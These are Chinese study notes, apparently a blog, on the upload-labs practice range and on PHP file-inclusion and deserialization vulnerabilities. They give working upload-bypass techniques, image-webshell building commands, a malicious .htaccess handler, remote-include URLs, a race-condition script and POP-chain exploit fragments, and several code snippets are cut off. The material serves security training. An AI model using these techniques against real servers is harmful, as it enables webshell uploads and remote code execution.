客户端: get 请求不需要这个字段 post 请求头,放在 Content Type 字段用来指定上传的文件类型,方便服务器解析,放在 Accept 则告诉服务器允许接收的响应类型,比如:只能接收 json 或者其他
服务端:放在响应头里面,Content Type 告诉客户端相应的数据类型,方便客户端解析
这里使用 BurpSuite 进行代理拦截。启动 bp,
选择文件,点击上传,就可以拦截到 请求
修改 Content-Type 值为 image/jpeg,在 bp 中点击 forward 按钮,即可上传成功
再次使用 蚁剑 进行连接,可以看到显示正常。
Pass-03 ( 等价扩展名 )
查看提示,可以看到可以获取到文件的扩展名,
获取到扩展名,还设置有扩展名拒绝的黑名单 ( .asp、.aspx、.php、.jsp ),后面还进行删除了文件末尾的点、转换大小写等操作。所以处理思路有两个,
1. 根据代码中处理,构造 可以通过的 文件名
2. 不用管怎么处理的,直接使用 "等价扩展名 "
这里修改 test_muma.php 为 test_muma.php3,然后上传,发现上传成功
鼠标放在图片上,右键 ---> 新建标签页打开图像 ,可以看到 图片地址,把这个地址放在 蚁剑 中进行连接,发现执行成功。
注意:查看 图片 url 'http://127.0.0.1/upload_labs/upload/202206100419233010.php3' 发现图片名已经发生变化,这是为什么?这其实是一个伪静态页面。
什么是 伪静态, 伪静态作用? 伪静态即是网站本身是动态网页如.php、.asp、.aspx等格式动态网页有时这类动态网页还跟“?”加参数来读取数据库内不同资料。很典型的案例即是discuz论坛系统,后台就有一个设置伪静态功能,开启伪静态后,动态网页即被转换重写成静态网页类型页面,通过浏览器访问地址和真的静态页面没区别。前提服务器支持伪静态重写URL Rewrite功能。
htaccess 文件是 Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
当我们随意访问一个文章的时候,比如:http://www.52pojie.cn/thread-1530418-1-1.html 其实在服务器中并没有这个文件,只是这个网站做成了伪静态:其实是https://www.52.pojie.cn/thread.php?id=1530418&page=1
为什么这么做呢?因为浏览器或者说搜索引擎在收录一个网页 的时候当然更加喜欢的是静态的页面比如XXX.html,而不是xxx.php?id=a&page=b,所以discuz搭建的wuai论坛做成了伪静态。
最后说几点:其实 upload-labs 这个靶场没有成功也很正常,因为环境确实是很烦的问题。没有成功没有关系,关键是知道各种绕过姿势。
Pass-04 ( .htaccess文件 )
查看源码提示,可以发现黑名单中扩展名增多了,$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
既然黑名单扩展名增多了,那能不能改成一个黑名单中不存在的扩展名,比如说图片的 jpg 格式。
现在把 "test_muma.php 改成 test_muma.jpg " 发现可以上传成功,但是浏览器只是把上传的文件识别成图片,不能把图片解析成代码并运行。
所以这里就可以猜想,浏览器能不能把图片当成代码来解析,并运行?
需要用到 .htaccess文件 ( Hypertext Access(超文本入口) )。.htaccess 文件是 Apache 服务器中的一个配置文件,它负 责相关目录下的网页配置。 通过 .htaccess 文件,可以实现:
网页 301 重定向、
自定义 404 错误页面、
改变文件扩展名、
允许/阻止特定的用户或者 目录的访问、
禁止目录列表、
配置默认文档等功能
准备一个 .htaccess 文件:
SetHandler application/x-httpd-php
上传这个 .htaccess 文件,那么刚才上传的 jpg 文件就会成为一个 webshell 可以连接了。
采用 .htaccess 文件的优缺点:
通常网络管理员采用.htaccess文件来进行用户组的目录权限访问控制。没有必要将所有的HTTPd服务器、配置文件以及目录访问权限全部授权给管理员。利用当前目录的.htaccess文件可以允许管理员灵活的随时按需改变目录访问策略。
采用.htaccess的缺点在于:当系统有成百上千个目录,每个目录下都有对应的.htaccess文件时,网络管理员将会对如何配置全局访问策略无从下手。同时,由于.htaccess文件十分被容易覆盖,很容易造成用户上一时段能访问目录,而下一时段又访问不了的情况发生。最后,.htaccess文件也很容易被非授权用户得到,安全性不高。
Pass-05 ( )
制作图片木马:
copy /b huaji.jpg + /a shell.php shell.gif
cat huaji.jpg shell.php > shell.gif
Pass-06 ( 后缀名大小写敏感 )
查看提示说明,发现源码扩展名黑名单中,把 .htaccess 扩展名也添加进去了,对比第四关源码,可以发现这一关中少了 大小写转换,所以就会出现 大小写敏感的情况
把 test_muma.php 改成 test.PHP ,然后上传,使用蚁剑进行连接
Pass-07 ( 首尾空格 )
查看提示说明,和第四关对比,发现少了 首尾去空格,但是 windows 保存文件是,会自动去掉首尾的空格 ,所以是需要抓包拦截,然后修改
打开 bp 的拦截,
添加一个 空格,然后点击 forward
然后使用 蚁剑 进行连接
Pass-08 ( 文件名末尾的点 )
查看提示说明,和第四关对比,发现少了 删除文件名末尾的点
Pass-09 ( ::$ 特殊符号 )
查看提示说明,和第四关对比,发现少了 ::$DATA ,所以可以使用 bp 抓包进行修改,添加上 ::$DATA 。
bp 拦截请求,然后进行修改,转发
查看网站目录下,发现上传后,window自动干掉了后面的 ::$DATA
所以使用 蚁剑 进行连接时,可以两个 url 都试试,
"http://127.0.0.1/upload_labs/upload/202206100851431917.php::$data" "http://127.0.0.1/upload_labs/upload/202206100851431917.php"
发现不带 ::$DATA 的可以连接成功,
Pass-10 ( 构造扩展名 --- 添加 "点、空格" )
查看提示说明,发现和第四关一样,这是就需要分析 代码逻辑了。
代码逻辑:得到文件名 ( 包括文件的扩展名 )、删除文件名末尾的点、得到扩展名、扩展名转换成小写、删除::$DATA 、最后在删除首尾的空格。
所以可以构造文件名:"test_muma.php .空格. "
打开 bp 拦截请求,并修改
使用 蚁剑 进行连接,可以连接成功,
Pass-11 ( 构造扩展名 --- 字符串替换 )
查看提示,可以发现,如果文件名中有黑名单中关键字,则全部替换成 空字符串
查看源代码,看到只替换了一次,没有进行循环替换,所以可以构造 文件名 test_muma.pphp hphp p ,这样的文件名替换之后刚好是 test_muma.php
使用 蚁剑 进行连接,可以连接成功,
Pass-12 ( 文件名截断 之 url编码截断 )
文件名 截断
截断字符:char(0),类似 C++ 的 "\0"
filename = test.php%00.txt <-----> file = test.php
查看提示,发现只有 jpg、png、gif 才能上传成功,
通过查看代码可以发现,上传的图片保存位置在请求中的 save_path 参数中,
所以就可以通过拦截请求,修改 请求中的 save_path 参数,加上 test_mum.php%00 ,上传后的文件名就会保存成 test_muma.php
Pass-13 ( 文件名截断 之 16进制截断 )
和 第12关一样 ,都是文件名截断,第12关 save_path 是在 post 请求的url中,截断编码使用的url编码,但是这一关 save_path 不是在url中,所以需要改成 16禁止的截断编码
改成 00
Pass-14 ( 图片马 文件包含 )
通过提示,发现会检查上传文件的前两个字节,并判断这个两个字节,通过这两个字节判断文件类型。
扩展知识:每个文件都有文件头,文件头里面保存了文件的基本信息,可以知道文件是什么类型的文件。各类文件头标识:https://blog.csdn.net/mashuai720/article/details/111615743
制作 图片马:
copy azz.png /b + test_muma.php /a test_img_muma.png
cat azz.png test_muma.php > test_imag_muma.png
缩略图可以正常显示,说明生成额 图片马 没有问题,也可以使用图片浏览工具打开,发现也正常。现在以 16进制形式打开文件,使用 010edit 打开 test_img_muma.png
在文件结尾处,可以看到 php 的代码
现在上传 test_img_muma.php 可以上传成功,但是使用 蚁剑 连接时,连接不上,这是因为生成的图片马中的 php 代码只能作为图片的一部分,并不能运行,这时想要 php 代码运行,就的使用 "文件包含漏洞 " 运行图片马中的恶意代码。
文件包含漏洞 :https://blog.csdn.net/huangyongkang666/article/details/123628579
文件包含 :开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,无需再次编写,这种调用文件的过程一般被称为文件包含。
文件包含漏洞原理 :文件包含是指当服务器开启allow_url_include选项时,就可以通过PHP的某些特性函数 include(),require()和include_once(),requir_once() ,然后利用 URL 去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了PHP配置中的allow_url_fopen选项,选项开启之后,服务器允许包含一个远程文件,服务器通过PHP特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到自己的目的。
1、文件包含即程序通过包含函数调用本地或远程文件,以此来实现拓展功能
2、被包含的文件可以是各种文件格式,而当文件里面包含恶意代码,则会形成远程命令执行或文件上传漏洞。
3、文件包含漏洞主要发生在有包含语句的环境中,例如 PHP 所具备include、require等函数。
点击上面的 "文件包含漏洞" 链接,
使用 蚁剑 进行连接。"http://127.0.0.1/upload_labs/include.php?file=upload/1520220610122650.png"
Pass-15 ( 图片马 图片校验 )
通过提示发现,这一关通过 getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。
使用 第15 关图片可以直接过。
Pass-16 ( 图片马 图片校验 )
通过提示发现,这一关通过 exif_imagetype() 函数校验是不是图片。
使用 第15 关图片可以直接过。
Pass-17 ( 图片马 渲染后图片 )
这一关是上传的图片被进行了渲染处理,导致 php 代码被处理掉,
使用 010editor 打开自己生成的 图片 和 渲染后的图片 对比可以看下,渲染后的图片文件头部分就发生了改变,文件尾的一句话木马也被干掉了。
解决思路:不断的尝试把 一句话木马放在不同的位置才能渲染后不被干掉。也可以找网上别人整理好的渲染后不被干掉的图片。
copy azz.png /b + test_muma.php /a + azz.png /b + test_muma.php /a +azz.png /b + test_muma.php /a test_img_muma.png
Pass-18 ( 图片马 条件竞争 )
条件竞争:利用代码执行的时间差 来实现目的
这一关也可以通过 "图片马 文件包含 " 来实现,但是不是这题的本意。
通过分析代码可以知道代码是 "保存、判断、删除、删除完毕 " 的逻辑。
所以处理思路是:能不能在文件存在的时候连接上去,并修改文件名。答案是肯定可以的,在判断和删除文件的时候,是需要花费时间的,可以开多线程同时请求,总有一个可以在文件存在的时候请求成功,并成功修改文件名。
总共分两步:
第一步,通过 bp 不断的发送请求,传送文件。
第二步,通过程序不断的请求访问。
新建一个 test_competiton.php 文件,文件内容如下:
');?>
使用 bp 拦截请求,并进行多线程请求
把自动添加的 payload 删除
设置 payload 为 null
设置线程池
现在开始 第二步,现在开始通过程序不断的请求
Python 代码:
import time
import requests
def main():
while True:
url = 'http://127.0.0.1/upload_labs/upload/test_competiton.php'
resp = requests.post(url, data=None)
if 200 == resp.status_code:
print(f'resp.text ---> {resp.text}')
else:
print(f'resp.status_code ---> {resp.status_code}')
time.sleep(0.1)
pass
if __name__ == '__main__':
main()
pass
现在使用 蚁剑 进行连接,发现连接并执行成功
Pass-19 ( 图片马 条件竞争 )
思路:
方法 1:利用来不重命名的条件竞争
方法 2.:利用 apache 解析漏洞
Pass-20 ( move_uploaded_file 函数特性 )
move_uploaded_file 函数在解析的时候,会忽略掉 /.
在上传框中加上 /.
点击上传后,就会生成 test_muma.php 文件
使用蚁剑进行连接,可以连接成功
Pass-21 ( )
查看提示,需要查看源码:
分析流程:https://www.bilibili.com/video/BV1jL4y1j7i6?p=26
通过查看源码,发现校验了 MIME、文件扩展名,这两个需要使用 bp 拦截并修改请求。
其实只要数组小标 大于 1 即可。
5、文件包含
文件包含 解决了上传的文件是 图片等不能直接,可以通过文件包含执行外部代码
文件包含漏洞
文件包含漏洞 :https://blog.csdn.net/huangyongkang666/article/details/123628579
文件包含 :开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,无需再次编写,这种调用文件的过程一般被称为文件包含。
第 999 次访问
欢迎下次再来
文件包含漏洞原理 :文件包含是指当服务器开启 allow_url_include 选项时,就可以通过 PHP 的某些特性函数 include(),require() 和 include_once(),requir_once() ,然后利用 URL 去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了PHP配置中的allow_url_fopen 选项,选项开启之后,服务器允许包含一个远程文件,服务器通过 PHP 特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到自己的目的。
1、文件包含即程序通过包含函数调用本地或远程文件,以此来实现拓展功能
2、被包含的文件可以是各种文件格式,而当文件里面包含恶意代码,则会形成远程命令执行或文件上传漏洞。
3、文件包含漏洞主要发生在有包含语句的环境中,例如 PHP 所具备include、require等函数。
php 需要更改 php.ini,才能开启 文件包含
// php.ini
allow_url_fopen=On
allow_url_include=On
示例:远程包含
远程访问示例,这里需要再开一台 web 服务器,
http://127.0.0.1/upload_labs/include.php?file=http://192.168.1.5/1.txt http://127.0.0.1/upload_labs/include.php?file=http://192.168.1.5/alter.html
示例:本地包含
本地访问
示例:DVWA 靶场
php 伪函数、相关协议
include() include语句,包含并运行指定的文件
include_once() 只包含一次,不重复包含
require() 和 include 一样,不过出错时会停止
require_once() 和 include_once 一样
fopen() 打开文件或者 URL
readfile() 读取文件并写入到缓冲区
highlight_file 语法高亮一个文件
show_source 等价于 highlight_file
file_get_contents 将整个文件读入字符串中
file 将整个文件读入一个数组中
PHP 伪协议:https://www.cnblogs.com/shawCE/p/15507496.html
支持的协议和封装协议:https://www.php.net/manual/zh/wrappers.php
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — 安全外壳协议 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
示例:parse_str(file_get_contents('php://input'), $_PUT);
CTFhub 示例
CTFhub:https://www.ctfhub.com/#/index 结题思路
:https://www.bilibili.com/video/BV1jL4y1j7i6?p=32
:https://www.bilibili.com/video/BV1Mr4y1i7s4?p=31
"文件包含漏洞 " 挖掘、利用
挖掘:
URL 参数名字出现 page、file、filename、include等等关键字 URL 参数值出现了文件名,比如:xxx.php xxx.html 等等 比如: ?file=content ?page=wuya.asp ?home=wuya.html
利用
1、发现漏洞
可以使用自动化工具来, github 直接搜索 LFI (即 local file include) LFISuit:https://github.com/D35m0nd142/LFISuite
2、上传 shell、读取敏感文件( FUZZ )
GitHub地址:https://github.com/xmendez/wfuzz/ 官方文档 ( 使用手册 ):https://wfuzz.readthedocs.io/en/latest/index.html
wfuzz 暴破文件和路径:https://www.sohu.com/a/224509842_354899
WFUZZ 使用教程:https://blog.csdn.net/JBlock/article/details/88619117
Wfuzz 使用:https://blog.csdn.net/weixin_45059752/article/details/122359921
3、执行恶意代码
使用 蚁剑 连接
6、 PHP 序列化、反序列化 漏洞
PHP 在线运行工具:https://c.runoob.com/compile/1/
PHP 面向对象
PHP 面向对象:https://www.w3cschool.cn/php/php-oop.html
类与对象:https://www.php.net/manual/zh/language.oop5.php
类 − 定义了一件事物的抽象特点。类的定义包含了数据的形式以及对数据的操作。
对象 − 是类的实例。
成员变量 − 定义在类内部的变量。该变量的值对外是不可见的,但是可以通过成员函数访问,在类被实例化为对象后,该变量即可称为对象的属性。
成员函数 − 定义在类的内部,可用于访问对象的数据。
继承 − 继承性是子类自动共享父类数据结构和方法的机制,这是类之间的一种关系。在定义和实现一个类的时候,可以在一个已经存在的类的基础之上来进行,把这个已经存在的类所定义的内容作为自己的内容,并加入若干新的内容。
父类 − 一个类被其他类继承,可将该类称为父类,或基类,或超类。
子类 − 一个类继承其他类称为子类,也可称为派生类。
多态 − 多态性是指相同的操作或函数、过程可作用于多种类型的对象上并获得不同的结果。不同的对象,收到同一消息可以产生不同的结果,这种现象称为多态性。
重载 − 简单说,就是函数或者方法有同样的名称,但是参数列表不相同的情形,这样的同名不同参数的函数或者方法之间,互相称之为重载函数或者方法。
抽象性 − 抽象性是指将具有一致的数据结构(属性)和行为(操作)的对象抽象成类。一个类就是这样一种抽象,它反映了与应用有关的重要性质,而忽略其他一些无关内容。任何类的划分都是主观的,但必须与具体的应用有关。
封装 − 封装是指将现实世界中存在的某个客体的属性与行为绑定在一起,并放置在一个逻辑单元内。
构造函数 − 主要用来在创建对象时初始化对象, 即为对象成员变量赋初始值,总与new运算符一起使用在创建对象的语句中。
析构函数 − 析构函数(destructor) 与构造函数相反,当对象结束其生命周期时(例如对象所在的函数已调用完毕),系统自动执行析构函数。析构函数往往用来做"清理善后" 的工作(例如在建立对象时用new开辟了一片内存空间,应在退出前在析构函数中用delete释放)。
魔术函数
__construct 当一个对象创建时被调用,
__destruct 当一个对象销毁时被调用,
__toString 当一个对象被当作一个字符串被调用。
__wakeup() 使用unserialize时触发
__sleep() 使用serialize时触发
__destruct() 对象被销毁时触发
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__toString() 把类当作字符串使用时触发,返回值需要为字符串
__invoke() 当脚本尝试将对象调用为函数时触发
序列化、反序列化
序列化 (Serialization) :是将 "内存中的对象 " 转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后就可以通过从存储区中读取,或者反序列化对象的状态,重新创建该对象。实际上就是将数据持久化,而且序列化后也能更好的便于网络运输何传播。
序列化:将 对象 转换为 字节序列
反序列化:把 字节序列 恢复为 原先的对象
序列化主要有两个用途
把对象的字节序列永久保存到硬盘上,通常存放在一个文件中(序列化对象)
在网络上传送对象的字节序列(网络传输对象)
比如:想把一张桌子从 a --> b,一张桌子肯定不好运输,因此需要把它拆开(这个拆的过程就是序列化);等到达了b需要把他组装起来 ( 装的过程就是 反序列化 )。
PHP 序列化 函数: serialize()
把复杂的数据类型压缩到一个字符串中 数据类型可以是数组,字符串,对象等 序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。
PHP 反序列化 函数:unserialize()
恢复原先被序列化的变量
示例 1:https://blog.csdn.net/m0_46587008/article/details/109373942
定义一个 people 类,含有公共属性name,私有属性sex,保护属性age。随后实例化一个people_1 并对其进行序列化,最后输出结果为:
O:6:"people":3:{s:4:"name";s:3:"sam";s:11:" people sex";s:3:"man";s:6:" * age";s:2:"20";} object(people)#2 (3) { ["name"]=> string(3) "sam" ["sex":"people":private]=> string(3) "man" ["age":protected]=> string(2) "20" }
注意:
对于 public 的属性无需其他特殊操作,
对于 private 属性,描述的时候需要在前后添加空格,或者带上其所在的类名,
对于 protected 属性需要加" * "。
__wakeup() 当unserialize()函数反序列化时,在数据流还未被反序列化未对象之前会调用该函数进行初始化.
__destruct() 当对象销毁时触发,也就是说只要你反序列化或者实例化一个对象,当你调用结束后都会触发该函数。
结果:hi结束了。
可以看到,先输出了hi,说明__wakeup()函数先被调用,随后整个反序列化结束,对象被销毁,触发__destruct()函数,输出结束了。
__toString() 当一个对象被当作字符串使用时触发
a;
}
}
class next{
function __toString(){
echo "我在这";
}
}
$t='O:4:"star":1:{s:1:"a";O:4:"next":0:{}}';
unserialize($t);
结果:我在这 Catchable fatal error: Method next::__toString() must return a string value in /tmp/41bac5636b55eff5c8abea138d605489916c2612abc45fd39fdaa87a827a0e00/main.php on line 5 这里没有retrun,也没有忽略报错,所有有一条报错信息,无关紧要,但是要说的是,__toString()是要又return的,不然会报错。结果显示当类star中的。echo $this->a;
执行时,a被当作一个字符串,此时我将a设置为类next,此时类next作为字符串被调用,所以触发类next中的__toString()函数,输出“我在这”。
__invoke() 当类被当作函数调用时触发,看实例。
a;
return $function();
}
}
class next{
function __invoke(){
echo "我在这";
}
}
$t='O:4:"star":1:{s:1:"a";O:4:"next":0:{}}';
unserialize($t);
结果:我在这
分析过程和上面那个函数一样,也是通过反序列化给a赋值,只是赋的不是字符串而是其他类,然后。return $function(); 的时候,将类当作函数调用,触发了__invoke()函数输出了“我在这”。
__get() 这个函数是当访问不可访问的属性的时候触发,不可访问的属性有两种
私有属性或者保护属性,这种访问受限的属性的时候会触发__get()
属性不存在的时候,也会触发__get()
str['str']->source;
}
}
class next{
function __get($name){
echo "我在这";
return;
}
}
$t='O:4:"star":2:{s:1:"a";N;s:3:"str";a:1:{s:3:"str";O:4:"next":0:{}}}';
unserialize($t);
结果:我在这 通过str[‘str’]赋值为类next,访问next的source,但是类next中不存在属性source所以触发__get()函数,访问保护属性等同理。 小结:反序列化的过程通过这些魔法函数可以达到我们想到要的操作,尤其是后面3个函数,大家会发现,这三个函数可以达到多个类的连续使用,从而达到链的效果,这也就是反序列化中的pop链的编写,
示例 2:POP链的构造
file_get($this->var);
echo $content;
}
}
class Show
{
public $source;
public $str;
public function __construct($file='index.php')
{
$this->source = $file;
echo $this->source.'Welcome'." ";
}
public function __toString()
{
return $this->str['str']->source;
}
public function _show()
{
if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
die('hacker');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test
{
public $p;
public function __construct()
{
$this->p = array();
}
public function __get($key)
{
$function = $this->p;
return $function();
}
}
if(isset($_GET['hello']))
{
unserialize($_GET['hello']);
}
else
{
$show = new Show('pop3.php');
$show->_show();
}
1. 首先看到unserialize($_GET[‘hello’]) 将get传参的hello进行了反序列化操作。那么将会调用到Show类中__weakup方法。 2. 因为 this->source = “index.php” source被当做字符串所以调用Show类中的__to string. 3. ** return $this->str[‘str’]->source ** source属性不存在所以调用Test类中的 get方法。 4. ** $function = $this->p; return $function(); ** 把取出来的p当做还是调用因此又会引起调用了 Read类中的__invoke方法,其中就可以把文件读取出来了。
上exp
p = $r;
$s ->str["str"] = $t;
$s -> source = $s;
var_dump(serialize($s));
反序列化 漏洞 原理
:https://www.bilibili.com/video/BV1jL4y1j7i6?p=38
注意:如果放在 浏览器 url 中,需要 url 编码
1. 构造反序列化链 2. 魔法函数 3. pop 链 4. __wakeup()绕过
1、unserialize 函数的参数可控,比如通过 GET 请求传参(漏洞触发点) 2、脚本中定义有 Magic 方法,方法里面有向php文件做读写数据或者执行命令的操作,比如:__destruct()、unlink() 3、读写的内容需要有对象中的成员变量的值,比如 filename
__wakeup( )绕过
(CVE-2016-7124) 反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup( )的执行。 影响版本: PHP before 5.6.25 7.x before 7.0.10
a;
}
}
$t='O:4:"star":1:{s:1:"a";s:9:"我在这";}';
unserialize($t);
?>
结果:我在这
当换成 O:4:"star":2:{s:1:"a";s:9:"我在这";} 时,结果什么都没输出。
原因:当表示属性个数大于真实个数时,__wakeup()函数不执行,被绕过了,通常题目中,__wake() 中含有很多限制,通过这个漏洞绕过 __wake() 可以达到绕过限制的目的。
攻防世界 CTF 示例
官网:https://adworld.xctf.org.cn/
示例 payload
注意:如果放在 浏览器 url 中,需要 url 编码